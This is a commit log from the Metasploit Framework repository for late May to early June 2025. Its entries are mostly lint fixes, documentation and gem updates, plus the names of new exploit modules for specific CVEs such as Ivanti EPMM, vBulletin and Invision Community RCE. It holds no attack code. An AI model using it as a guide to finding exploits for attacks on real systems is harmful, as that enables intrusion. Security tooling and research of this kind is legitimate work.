Julien Voisin e39b400bb8 Update modules/auxiliary/dos/smtp/sendmail_prescan.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:31 +02:00
Julien Voisin 97b9b80b26 Update modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:19 +02:00
Julien Voisin 08c5654ef2 Update modules/exploits/freebsd/samba/trans2open.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:12 +02:00
Julien Voisin 7738d146b9 Update modules/exploits/solaris/samba/trans2open.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:05:06 +02:00
Julien Voisin 54c5e7df18 Update modules/exploits/windows/smb/ms10_061_spoolss.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:04:59 +02:00
Julien Voisin af57c9ba77 Update modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:04:51 +02:00
Julien Voisin ea7d88d8be Update modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-06-02 16:04:42 +02:00
dledda-r7 5e3e975b7d fix: renaming Osx to OSX for autoload support 2025-06-02 09:22:46 -04:00
dledda-r7 c4ca4d6999 fix: re-include OSX specific option 2025-06-02 08:14:59 -04:00
dledda-r7 70bafdfcd8 fix: delete of meterpreter_options.rb 2025-06-02 08:07:14 -04:00
dledda-r7 e4bc2a6528 fix: changed MeterpreterOptions to be platform-specific in pivot 2025-06-02 08:07:14 -04:00
dledda-r7 dd23be9695 fix: modified meterpreter_reverse template for platform-specific MeterpreterOptions 2025-06-02 08:07:13 -04:00
dledda-r7 e44043b88a fix: restored deleted comments 2025-06-02 08:07:13 -04:00
dledda-r7 a7f4da5431 feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (AppleIos,Php,Python,Java,Osx,Android) 2025-06-02 08:07:06 -04:00
dledda-r7 44617cbe37 feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (Windows, Linux) 2025-06-02 08:06:05 -04:00
jenkins-metasploit 5e2418cf1f automatic module_metadata_base.json update 2025-06-02 10:46:07 +00:00
cgranleese-r7 4238fd6bab Merge pull request #20272 from zeroSteiner/fix/mod/add-esc-refs
Add missing references for AD CS modules
2025-06-02 11:38:13 +01:00
msutovsky-r7 d118b34823 Merge branch 'rapid7:master' into fix/sap_router_info_failure 2025-06-02 11:25:08 +02:00
jenkins-metasploit 7a3697820c automatic module_metadata_base.json update 2025-06-02 07:12:08 +00:00
msutovsky-r7 be8bb63186 Land #20237, resolves RuboCop violations in auxiliary/scanner/couchdb
modules/auxiliary/scanner/couchdb: Resolve RuboCop violations
2025-06-02 09:03:47 +02:00
jenkins-metasploit d04df220c7 automatic module_metadata_base.json update 2025-06-02 06:15:58 +00:00
msutovsky-r7 11a3564dff Landing #20271, resolves RuboCop violations in auxiliary/server/dns
modules/auxiliary/server/dns: Resolve RuboCop violations
2025-06-02 08:07:42 +02:00
msutovsky-r7 847fd9aa83 Landing #20270, adds documentation for auxiliary/scanner/discovery/udp_probe
Add documentation for auxiliary/scanner/discovery/udp_probe
2025-06-01 22:25:49 +02:00
Mario 50ae65d59c Update documentation/modules/auxiliary/scanner/discovery/udp_probe.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-31 17:13:29 +02:00
Lukas Johannes Möller 9cccad015d fix(post/windows/manage/remove_host): handle whitespace parsing robustly
See #20157
2025-05-31 12:47:33 +02:00
Spencer McIntyre 176dd849e0 Add missing references for AD CS modules 2025-05-30 13:54:35 -04:00
remmons-r7 c2556382f1 Reword "pt" to "part" in the Metasploit module 2025-05-30 10:52:28 -05:00
root 7aa1d17124 rex version fix 2025-05-30 16:46:08 +01:00
root 11a51bf489 rex version payloads 2025-05-30 16:43:40 +01:00
Julien Voisin 0106a4440e Merge branch 'master' into aka_equationgroup 2025-05-30 17:17:54 +02:00
Spencer McIntyre 634c480bd0 Update modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-05-30 10:18:20 -04:00
root dbfaece2a2 badchars fix + extend payloads 2025-05-30 14:19:56 +01:00
root ca8a3c586a added 2025.7 support 2025-05-30 14:12:52 +01:00
Spencer McIntyre 6c05ffb67d Appease rubocop 2025-05-30 09:06:38 -04:00
Spencer McIntyre dd6208a051 Bump the rex-random_identifier gem 2025-05-30 09:06:38 -04:00
Spencer McIntyre 960e29f64d Update specs 2025-05-30 09:06:38 -04:00
Spencer McIntyre f3b650a409 Major refactoring of PHP payloads and related exploits 2025-05-30 09:06:38 -04:00
Spencer McIntyre dcaeb5266c Define the system_block module function 2025-05-30 09:06:38 -04:00
Spencer McIntyre 9220360ed0 Add an ARCH_PHP -> ARCH_CMD adapter 2025-05-30 09:06:20 -04:00
bcoles 5ecf5b770b modules/auxiliary/server/dns: Resolve RuboCop violations 2025-05-30 22:26:50 +10:00
jenkins-metasploit 9aa775d140 automatic module_metadata_base.json update 2025-05-30 11:56:36 +00:00
msutovsky-r7 e55032a14f Land #20238, resolves RuboCop violations in auxiliary/scanner/db2
modules/auxiliary/scanner/db2: Resolve RuboCop violations
2025-05-30 13:48:59 +02:00
jenkins-metasploit 94b5ba520b automatic module_metadata_base.json update 2025-05-30 10:55:29 +00:00
msutovsky-r7 d92088fa97 Land #20239, resolves RuboCop violations in auxiliary/scanner/dcerpc
modules/auxiliary/scanner/dcerpc: Resolve RuboCop violations
2025-05-30 12:47:18 +02:00
mariomontecatine 3efcc6322b Add documentation for auxiliary/scanner/discovery/udp_probe 2025-05-30 06:23:54 -04:00
root 69870ee703 Update Remote for Mac 2025.6 RCE module with improvements and fixes 2025-05-30 11:21:07 +01:00
jenkins-metasploit b0b0022158 automatic module_metadata_base.json update 2025-05-30 10:09:34 +00:00
msutovsky-r7 9ef3134049 Land #20240, resolves RuboCop violations in modules/auxiliary/scanner/dect
modules/auxiliary/scanner/dect: Resolve RuboCop violations
2025-05-30 12:01:30 +02:00
jenkins-metasploit 14a219e7e3 automatic module_metadata_base.json update 2025-05-29 15:05:10 +00:00
Diego Ledda d08995c051 Merge pull request #20201 from bcoles/rubocop-modules-auxiliary-admin-networking
modules/auxiliary/admin/networking: Resolve RuboCop violations
2025-05-29 16:53:07 +02:00
Diego Ledda 537f12b6ec Merge pull request #19976 from msutovsky-r7/feat/php_cmd_adapter
PHP cmd adapter
2025-05-29 16:49:58 +02:00
Chocapikk 33439fccb3 Add verbosity, update doc 2025-05-29 16:30:41 +02:00
Spencer McIntyre b40dbe89ff Always return an array of PreAuthData 2025-05-29 10:25:35 -04:00
Valentin Lobstein f053d993f7 Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-05-29 15:59:00 +02:00
jenkins-metasploit 379e62b3ee automatic module_metadata_base.json update 2025-05-29 13:23:27 +00:00
Diego Ledda 8f64994f47 Merge pull request #20246 from bcoles/encoders-metasm-cpu
Encoders: Fix assemble method Metasm CPU definition
2025-05-29 15:15:49 +02:00
bwatters-r7 e36336669d Update description in module and docs to reflect nre option name 2025-05-29 08:11:33 -05:00
Martin Sutovsky cb0ef76140 Adds fail_with to avoid returning nil 2025-05-29 13:47:36 +02:00
root e027be9f4c Add documentation for Remote for Mac 2025.6 unauthenticated RCE module 2025-05-29 12:30:10 +01:00
Metasploit 3c876901ff Bump version of framework to 6.4.67 2025-05-29 05:29:32 -05:00
jenkins-metasploit 05fa8c6b30 automatic module_metadata_base.json update 2025-05-29 10:17:57 +00:00
adfoster-r7 52a097b7e0 Merge pull request #20268 from rapid7/revert-20194-ensure-thinkphp-rce-runs-on-metasploit-pro
Revert "Ensure thinkphp rce runs on metasploit pro"
2025-05-29 11:09:48 +01:00
adfoster-r7 f1d7f2ed22 Revert "Ensure thinkphp rce runs on metasploit pro" 2025-05-29 10:54:51 +01:00
jenkins-metasploit 9651c8b966 automatic module_metadata_base.json update 2025-05-29 08:46:19 +00:00
msutovsky-r7 a5d80290f8 Land #20241, resolves RuboCop violations for modules/auxiliary/scanner/discovery
modules/auxiliary/scanner/discovery: Resolve RuboCop violations
2025-05-29 10:38:28 +02:00
msutovsky-r7 6628e0d9e7 Update modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb
This will look better in Metasploit wrapup blog

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-29 10:05:10 +02:00
root cf3e1764c5 Finalize Remote for Mac 2025.6 RCE module (no CVE yet) 2025-05-29 04:29:15 +01:00
remmons-r7 68929a50fa Add ivanti_epmm_rce_cve_2025_4427_4428.md
Documentation for ivanti_epmm_rce_cve_2025_4427_4428.
2025-05-28 17:35:34 -05:00
remmons-r7 704e498f39 Add ivanti_epmm_rce_cve_2025_4427_4428.rb
Add a module for CVE-2025-4427 and CVE-2025-4428, unauthenticated RCE chain in Ivanti EPMM.
2025-05-28 17:32:56 -05:00
Spencer McIntyre 09c313003b Propagate KERB-SUPERSEDED-BY-USER error details 2025-05-28 17:57:01 -04:00
Spencer McIntyre 74dcabfcc1 Add the definitions for KERB-SUPERSEDED-BY-USER 2025-05-28 17:38:36 -04:00
bwatters-r7 b207a8848c Fix references to LDAP Datastore Options 2025-05-28 12:02:01 -05:00
jenkins-metasploit a847038d90 automatic module_metadata_base.json update 2025-05-28 16:49:12 +00:00
Diego Ledda 9b7e27e946 Merge pull request #20185 from Chocapikk/wp_depicter_sqli_cve_2025_2011
Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011)
2025-05-28 18:38:52 +02:00
Spencer McIntyre 5c6f6f1070 Merge pull request #20261 from bwatters-r7/fix/vmcenter_vmdir_auth
Update datastore option names in vmware_vcenter_vmdir_auth_bypass module and docs
2025-05-28 12:33:43 -04:00
Christophe De La Fuente 4ccab4543d Register VulnAttempts for both Exploit and Auxiliary modules 2025-05-28 18:19:12 +02:00
Diego Ledda 6cb8d8c599 fix(modules): renaming run_host to run 2025-05-28 18:01:32 +02:00
jenkins-metasploit 1264bfa606 automatic module_metadata_base.json update 2025-05-28 15:02:17 +00:00
msutovsky-r7 f3668f436b Land #20242, resolves RuboCop violations for modules/auxiliary/scanner/sap
modules/auxiliary/scanner/sap: Resolve RuboCop violations
2025-05-28 16:54:01 +02:00
Valentin Lobstein 8055ba3d65 Update modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-28 16:28:59 +02:00
bwatters-r7 e282bbda99 Update datastore option names in module and docs 2025-05-28 09:23:36 -05:00
Spencer McIntyre dae8c9b43a Update the ldap/change_password module 2025-05-28 10:19:30 -04:00
dwelch-r7 c73bffaf87 Merge pull request #20257 from cgranleese-r7/fixes-deprecation-error
Fixes an error in `report_note` deprecation message
2025-05-28 13:28:13 +01:00
bcoles 1b95ece26d modules/auxiliary/scanner/sap: Resolve RuboCop violations 2025-05-28 22:15:05 +10:00
jenkins-metasploit 02d7a23fef automatic module_metadata_base.json update 2025-05-28 12:00:57 +00:00
Diego Ledda ce6e0d1164 Merge pull request #20096 from h00die-gr3y/CVE-2025-30406
Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization [CVE-2025-30406]
2025-05-28 13:46:13 +02:00
Diego Ledda cd63d653a8 Merge pull request #20200 from bcoles/rubocop-modules-auxiliary-admin-oracle
modules/auxiliary/admin/oracle: Resolve RuboCop violations
2025-05-28 13:45:33 +02:00
cgranleese-r7 bae1a3e93a Fixes an error for report_note deprecation message 2025-05-28 12:29:16 +01:00
root 38f0178ad8 Update exploit: fix PacketStorm reference, add CVE placeholder 2025-05-28 09:27:28 +01:00
root 1860c16aa8 Add Remote for Mac 2025.6 unauthenticated RCE module 2025-05-28 07:42:34 +01:00
Spencer McIntyre 53ee96fc1f Merge pull request #20255 from arpitjain099/master
Improve code clarity and consistency through minor refinements
2025-05-27 17:28:58 -04:00
Arpit Jain ca76181335 Improve code quality 2025-05-27 17:27:19 -04:00
Spencer McIntyre 2ec457779c Merge pull request #20180 from smashery/powershell-impersonate-warning
Warn user if they are using PowerShell with impersonation
2025-05-27 13:15:35 -04:00
sjanusz-r7 cdc51b41f6 Add GraphQL Introspection Scanner documentation 2025-05-27 17:24:35 +01:00
sjanusz-r7 9cea2891e3 Address GraphQL Introspection comments 2025-05-27 17:13:37 +01:00
jenkins-metasploit 9e90b5d3c4 automatic module_metadata_base.json update 2025-05-27 16:02:10 +00:00
msutovsky-r7 ec98f0af2c Land #20243, resolving Rubocop violations in modules/auxiliary/scanner/snmp
modules/auxiliary/scanner/snmp: Resolve RuboCop violations
2025-05-27 17:54:32 +02:00
bcoles e89b103873 modules/auxiliary/scanner/snmp: Resolve RuboCop violations 2025-05-28 01:19:53 +10:00
Martin Sutovsky 4d956ba4e4 Fixing Rubocop formatting 2025-05-27 16:35:34 +02:00
Martin Sutovsky fa0aaa0834 Rubocoping 2025-05-27 16:31:36 +02:00
Martin Sutovsky f762c945c0 Adding payload definition 2025-05-27 16:31:36 +02:00
Martin Sutovsky 126b155d6e Adding uuid for cmd 2025-05-27 16:31:33 +02:00
Martin Sutovsky 3b1bfe8aba Fixing meterpreter session 2025-05-27 16:30:53 +02:00
Martin Sutovsky 735140f217 Rolling back to previous base64 functionality 2025-05-27 16:30:53 +02:00
Martin Sutovsky c30a6cabe3 More reliable full command path detection, using already existing base64 encoder 2025-05-27 16:30:52 +02:00
Martin Sutovsky 3e75553044 Removing uncessary whitespaces 2025-05-27 16:30:52 +02:00
Martin Sutovsky b4d2df91de Encoding PHP payload and piping into php unix command 2025-05-27 16:30:52 +02:00
Ashley Donaldson 904f4b68f7 Warn user if they are using PowerShell with impersonation 2025-05-27 10:14:48 -04:00
bcoles 32c5280b13 modules/auxiliary/admin/oracle: Resolve RuboCop violations 2025-05-28 00:10:48 +10:00
Spencer McIntyre b84936f3e2 Merge pull request #20233 from zeroSteiner/fix/bump-payloads/2.0.221
Update metasploit-payloads gem to 2.0.221
2025-05-27 10:05:47 -04:00
Chocapikk 05d41232fe Add CVE IDs 2025-05-27 13:51:49 +02:00
jenkins-metasploit d81c4ee802 automatic module_metadata_base.json update 2025-05-27 09:11:57 +00:00
Diego Ledda 76ab21a2af Merge pull request #20147 from zeroSteiner/fix/issue/19641
Add SOCKS5H Proxy Support
2025-05-27 10:54:57 +02:00
Diego Ledda f2e222bfcb Merge pull request #20198 from bcoles/rubocop-modules-auxiliary-admin-scada
modules/auxiliary/admin/scada: Resolve RuboCop violations
2025-05-27 10:53:46 +02:00
RAMELLA Sebastien c84056780e fix. r7 code review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-05-27 11:45:52 +04:00
jenkins-metasploit 97beb2029c automatic module_metadata_base.json update 2025-05-26 20:55:47 +00:00
adfoster-r7 526a8014b4 Merge pull request #20244 from bcoles/modules-auxiliary-scanner-vmware
modules/auxiliary/scanner/vmware: Resolve RuboCop violations
2025-05-26 21:48:13 +01:00
adfoster-r7 59562d9367 Merge pull request #20236 from bcoles/rubocop-Style/RedundantRegexpArgument
Rubocop: Enable Style/RedundantRegexpArgument
2025-05-26 20:16:42 +01:00
adfoster-r7 b19b087feb Merge pull request #20204 from bcoles/rubocop-Layout/LineContinuationLeadingSpace
Rubocop: Disable Layout/LineContinuationLeadingSpace
2025-05-26 20:14:55 +01:00
Chocapikk 6dc9809837 Non-blocking requests when trying to exploit, since the payload can be triggered twice 2025-05-26 20:17:39 +02:00
Chocapikk 854d2354fa Fix check, both requests can display if the system is vulnerable 2025-05-26 20:04:19 +02:00
bcoles 1b4d65e8b7 Encoders: Fix assemble method Metasm CPU definition 2025-05-26 23:03:12 +10:00
bcoles 4c0ec87d7c modules/auxiliary/scanner/vmware: Resolve RuboCop violations 2025-05-26 21:30:58 +10:00
bcoles d03b65e7e5 modules/auxiliary/admin/scada: Resolve RuboCop violations 2025-05-26 20:49:19 +10:00
Chocapikk 387a39d0a9 Update doc, module 2025-05-25 20:13:36 +02:00
bcoles b25925d28a modules/auxiliary/scanner/discovery: Resolve RuboCop violations 2025-05-25 12:44:10 +10:00
bcoles e0d2cd29c2 modules/auxiliary/scanner/dect: Resolve RuboCop violations 2025-05-25 12:11:13 +10:00
bcoles e9d682dca7 modules/auxiliary/scanner/dcerpc: Resolve RuboCop violations 2025-05-24 15:04:15 +10:00
bcoles feebf2bc49 modules/auxiliary/scanner/db2: Resolve RuboCop violations 2025-05-24 14:23:30 +10:00
bcoles 170d007375 modules/auxiliary/scanner/couchdb: Resolve RuboCop violations 2025-05-24 14:17:49 +10:00
bcoles caf17eea37 Rubocop: Enable Style/RedundantRegexpArgument 2025-05-24 13:36:29 +10:00
bcoles 5aa91bd57c Rubocop: Resolve Rubocop Style/RedundantRegexpArgument violations 2025-05-24 13:34:32 +10:00
Chocapikk 6644bfa8dc Check PHP version using X-Powered-By header 2025-05-24 00:10:52 +02:00
Chocapikk 64b9254b3d Remove useless command in Dockefile 2025-05-23 23:59:06 +02:00
Valentin Lobstein e6aa8a3125 Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:56:37 +02:00
Valentin Lobstein df44d63ac3 Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:56:18 +02:00
Valentin Lobstein f5e33ef290 Update documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:55:55 +02:00
Valentin Lobstein 69426e6dca Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:55:44 +02:00
Valentin Lobstein 1c717cf56b Update modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-23 23:55:34 +02:00
Chocapikk ac98c1f554 Replace passthru with system 2025-05-23 23:34:44 +02:00
Chocapikk 1f6dd34f93 vBulletin replaceAdTemplate Remote Code Execution 2025-05-23 23:17:02 +02:00
adfoster-r7 d2da920ee1 Merge pull request #20199 from bcoles/rubocop
Rubocop: Enable Layout/SpaceBeforeBrackets
2025-05-23 18:28:42 +01:00
adfoster-r7 28d9e776e8 Merge pull request #20224 from bcoles/gemfile-rubocop
Bump rubocop from 1.75.6 to 1.75.7
2025-05-23 18:28:12 +01:00
Spencer McIntyre 2f82d66b13 Update metasploit-payloads gem to 2.0.221
Includes changes from:
* rapid7/metasploit-payloads#738
* rapid7/metasploit-payloads#756
* rapid7/metasploit-payloads#711
* rapid7/metasploit-payloads#747
2025-05-22 18:24:16 -04:00
Chocapikk 2e158d2d1a Fix User-Agent issue 2025-05-22 23:47:20 +02:00
jenkins-metasploit 0c5ddcdb1a automatic module_metadata_base.json update 2025-05-22 20:13:16 +00:00
jheysel-r7 d8ad10555d Merge pull request #20232 from bcoles/rubocop-modules-auxiliary-afp
modules/auxiliary/scanner/afp: Resolve RuboCop violations
2025-05-22 13:05:20 -07:00
jenkins-metasploit e09f4de787 automatic module_metadata_base.json update 2025-05-22 19:44:02 +00:00
jheysel-r7 a93becb2f9 Merge pull request #20231 from bcoles/rubocop-modules-auxiliary-backdoor
modules/auxiliary/scanner/backdoor: Resolve RuboCop violations
2025-05-22 12:30:46 -07:00
jheysel-r7 b882873fe2 Merge pull request #20230 from bcoles/rubocop-modules-auxiliary-chargen
modules/auxiliary/scanner/chargen: Resolve RuboCop violations
2025-05-22 12:28:59 -07:00
jenkins-metasploit 1dcc905737 automatic module_metadata_base.json update 2025-05-22 17:05:36 +00:00
jheysel-r7 6cd7911b51 Merge pull request #20227 from bcoles/rubocop-modules-auxiliary-acpp
modules/auxiliary/scanner/acpp: Resolve RuboCop violations
2025-05-22 09:57:42 -07:00
bcoles eb278d7bf0 modules/auxiliary/scanner/backdoor: Resolve RuboCop violations 2025-05-23 00:52:03 +10:00
bcoles e00ed40164 modules/auxiliary/scanner/afp: Resolve RuboCop violations 2025-05-23 00:47:48 +10:00
jenkins-metasploit d291fb7741 automatic module_metadata_base.json update 2025-05-22 14:38:30 +00:00
adfoster-r7 48d31811d6 Merge pull request #19939 from cgranleese-r7/fixes-modules-to-correctly-use-hash-with-report-note
Updates the `reports_note` method to require a Hash
2025-05-22 15:29:55 +01:00
bcoles 4e8901d13c modules/auxiliary/scanner/chargen: Resolve RuboCop violations 2025-05-23 00:27:45 +10:00
bcoles 0b92e32a5a modules/auxiliary/scanner/acpp: Resolve RuboCop violations 2025-05-23 00:26:22 +10:00
Spencer McIntyre 5ce30355c5 Bump rex-sockets 2025-05-22 09:14:32 -04:00
Spencer McIntyre 6f7ccfd3a6 Fixup the specs 2025-05-22 09:14:32 -04:00
Spencer McIntyre 7fb208ba5a Update proxy string validation 2025-05-22 09:14:32 -04:00
Spencer McIntyre e7230482c3 Check the last proxy for resolution capabilities 2025-05-22 09:14:32 -04:00
adfoster-r7 a99a74c6f6 Update DNS resolution for socks proxies 2025-05-22 09:14:32 -04:00
Metasploit 35de45ee17 Bump version of framework to 6.4.66 2025-05-22 06:16:59 -05:00
sjanusz-r7 9e4d0c9db3 Try to handle more errors for GraphQL Introspection 2025-05-22 11:10:40 +01:00
cgranleese-r7 4309590ffa Lint files 2025-05-22 11:04:11 +01:00
cgranleese-r7 f6faa5598b Fixes modules to now correctly use a hash with report note 2025-05-22 10:59:50 +01:00
sjanusz-r7 7277210d95 Use JSON.generate for GraphQL Introspection queries 2025-05-22 10:19:11 +01:00
bcoles 8280e5d702 Bump rubocop from 1.75.6 to 1.75.7 2025-05-22 18:45:24 +10:00
dwelch-r7 c5a5488328 Merge pull request #20222 from adfoster-r7/pin-setup-ruby-github-action
Pin setup ruby github action
2025-05-22 09:38:56 +01:00
msutovsky-r7 3408a3fa1b Land #20221, adds document for copy_of_file.rb and ipv6_multicast_ping.rb
New documentation for some auxiliary modules
2025-05-22 08:32:12 +02:00
adfoster-r7 75fe738cd7 Pin setup ruby github action 2025-05-21 23:41:42 +01:00
jenkins-metasploit 1069b144fb automatic module_metadata_base.json update 2025-05-21 22:25:22 +00:00
jheysel-r7 c5cfbb60ce Merge pull request #20207 from zeroSteiner/fix/mod/kerberoast/krb-cache
Set the ticket storage so KrbCacheMode is used
2025-05-21 15:17:39 -07:00
jenkins-metasploit fdd57ad4f9 automatic module_metadata_base.json update 2025-05-21 21:34:48 +00:00
jheysel-r7 73d1350842 Merge pull request #20215 from bcoles/rubocop-Lint/Syntax
Modules: Resolve Rubocop Lint/Syntax violations
2025-05-21 14:26:49 -07:00
mariomontecatine e7a2809ca0 Adding documentation for modules/auxiliary/scanner/http/copy_of_file.rb 2025-05-21 14:48:10 -04:00
Chocapikk a09a0a25eb Fix finalize_admin 2025-05-21 20:18:43 +02:00
Chocapikk 0c556ff139 Fix 2025-05-21 20:10:02 +02:00
Mario 272546658e Merge branch 'rapid7:master' into master 2025-05-21 19:48:46 +02:00
Chocapikk 38b7cfd753 Refactor 2025-05-21 19:46:47 +02:00
Jack Heysel 306496eef8 Improve canonicalize method 2025-05-21 10:38:34 -07:00
jenkins-metasploit 227fd967f2 automatic module_metadata_base.json update 2025-05-21 17:34:09 +00:00
jheysel-r7 be678c46b3 Merge pull request #20193 from bcoles/rubocop-modules-auxiliary-crawler
modules/auxiliary/crawler: Resolve RuboCop violations
2025-05-21 10:26:25 -07:00
jheysel-r7 9e2383b75f Update modules/auxiliary/crawler/msfcrawler.rb 2025-05-21 10:02:02 -07:00
jenkins-metasploit 889489ab3b automatic module_metadata_base.json update 2025-05-21 16:37:01 +00:00
jheysel-r7 ca40f6ecbc Merge pull request #20214 from Chocapikk/invision_customcss_rce
Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916)
2025-05-21 09:29:14 -07:00
sjanusz-r7 4075e1aa56 Add GraphQL Auxiliary Scanner module 2025-05-21 17:27:29 +01:00
Chocapikk 2820a0418f Update code to use Wordpress::SQLi mixin ^^ 2025-05-21 18:27:02 +02:00
jenkins-metasploit ca013cace7 automatic module_metadata_base.json update 2025-05-21 15:50:12 +00:00
jheysel-r7 0600de2d90 Merge pull request #20177 from msutovsky-r7/clinic_management_system_sqli2rce
Clinic Patient's Management System SQLi (CVE-2025-3096)
2025-05-21 08:42:16 -07:00
Martin Sutovsky 282d0f7820 Refactor docs 2025-05-21 16:48:54 +02:00
jenkins-metasploit dc6b03f5f2 automatic module_metadata_base.json update 2025-05-21 14:16:25 +00:00
Diego Ledda ec32949612 Merge pull request #20197 from bcoles/rubocop-modules-auxiliary-admin-mssql
modules/auxiliary/admin/mssql: Resolve RuboCop violations
2025-05-21 16:08:26 +02:00
Diego Ledda 6af35dc40d Merge pull request #20144 from bcoles/spec-modules
spec: modules: Enable instantiation tests for Evasion and Post modules
2025-05-21 15:44:32 +02:00
jenkins-metasploit 203d4a6218 automatic module_metadata_base.json update 2025-05-21 09:26:50 +00:00
Diego Ledda d14b5c38db Merge pull request #20192 from bcoles/rubocop-modules-auxiliary-sniffer
modules/auxiliary/sniffer: Resolve RuboCop violations
2025-05-21 11:11:40 +02:00
Diego Ledda 9c53b32ae2 Merge pull request #20191 from bcoles/rubocop-modules-auxiliary-pdf
modules/auxiliary/pdf: Resolve RuboCop violations
2025-05-21 11:11:04 +02:00
bcoles 943c94774a Modules: Resolve Rubocop Lint/Syntax violations 2025-05-21 18:27:24 +10:00
Martin Sutovsky 1d6ec73a3c Fixes file cleanup 2025-05-21 09:05:41 +02:00
Valentin Lobstein 4d3e786a6e Update invision_customcss_rce.rb 2025-05-21 08:39:52 +02:00
Valentin Lobstein e5bbc01e78 Update invision_customcss_rce.md 2025-05-21 08:38:36 +02:00
Martin Sutovsky 86335ba84c Fixes URI path 2025-05-21 07:33:00 +02:00
jenkins-metasploit ee5f13a9ee automatic module_metadata_base.json update 2025-05-21 02:35:15 +00:00
jheysel-r7 264d53191c Merge pull request #20202 from bcoles/rubocop-modules-auxiliary-admin
modules/auxiliary/admin: Resolve RuboCop violations
2025-05-20 19:27:36 -07:00
bcoles 4ea181751d modules/auxiliary/admin: Resolve RuboCop violations 2025-05-21 08:32:40 +10:00
Chocapikk 14501a6084 Add lower bound version 2025-05-20 23:00:08 +02:00
jenkins-metasploit dda4cb9860 automatic module_metadata_base.json update 2025-05-20 20:29:24 +00:00
Spencer McIntyre eb6707b7b3 Merge pull request #20176 from smashery/asrep-update
Asrep update
2025-05-20 16:21:38 -04:00
Valentin Lobstein 5a436d27b9 Update modules/exploits/multi/http/invision_customcss_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-20 21:28:30 +02:00
jenkins-metasploit ee10e09869 automatic module_metadata_base.json update 2025-05-20 18:36:44 +00:00
jheysel-r7 18dc39e9a5 Merge pull request #20213 from bcoles/modules-exploits-linux-pop3
modules/exploits/linux/pop3: Resolve RuboCop violations
2025-05-20 11:22:05 -07:00
jheysel-r7 3a0e294f50 Merge pull request #20212 from bcoles/modules-exploits-linux-redis
modules/exploits/linux/redis: Resolve RuboCop violations
2025-05-20 11:21:35 -07:00
jenkins-metasploit db8d37b8e8 automatic module_metadata_base.json update 2025-05-20 18:09:56 +00:00
jheysel-r7 426aaa80fb Merge pull request #20211 from bcoles/modules-exploits-linux-ids
modules/exploits/linux/ids: Resolve RuboCop violations
2025-05-20 10:57:03 -07:00
jheysel-r7 b99e161003 Merge pull request #20210 from bcoles/modules-exploits-linux-imap
modules/exploits/linux/imap: Resolve RuboCop violations
2025-05-20 10:50:58 -07:00
jheysel-r7 dd3093c806 Merge pull request #20203 from bcoles/rubocop-modules-exploits-linux-upnp
modules/exploits/linux/upnp: Resolve RuboCop violations
2025-05-20 10:46:46 -07:00
jenkins-metasploit 85de0bca16 automatic module_metadata_base.json update 2025-05-20 16:45:33 +00:00
jheysel-r7 87c09acf82 Merge pull request #20195 from bcoles/rubocop-modules-auxiliary-admin-http
modules/auxiliary/admin/http: Resolve RuboCop violations
2025-05-20 09:37:23 -07:00
Chocapikk 28b7c7f786 Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916) 2025-05-20 18:33:06 +02:00
jenkins-metasploit 4f1fff83e0 automatic module_metadata_base.json update 2025-05-20 16:27:26 +00:00
jheysel-r7 2810fdaa4a Merge pull request #20165 from bcoles/rubocop-modules-exploits-linux-browser
modules/exploits/linux/browser: Resolve RuboCop violations
2025-05-20 09:19:34 -07:00
bcoles 693620e1a5 modules/exploits/linux/pop3: Resolve RuboCop violations 2025-05-21 02:19:09 +10:00
bcoles 6597a6c5fc modules/exploits/linux/redis: Resolve RuboCop violations 2025-05-21 02:07:54 +10:00
bcoles 3aa6e2d8db modules/exploits/linux/ids: Resolve RuboCop violations 2025-05-20 23:54:29 +10:00
bcoles ec7d54152b modules/exploits/linux/imap: Resolve RuboCop violations 2025-05-20 23:42:47 +10:00
Martin Sutovsky 828b6aadfb Adds module for PandoraFMS Netflow RCE 2025-05-20 13:43:54 +02:00
Spencer McIntyre 973aba2779 Update metasploit-credential conservatively 2025-05-19 17:42:25 -04:00
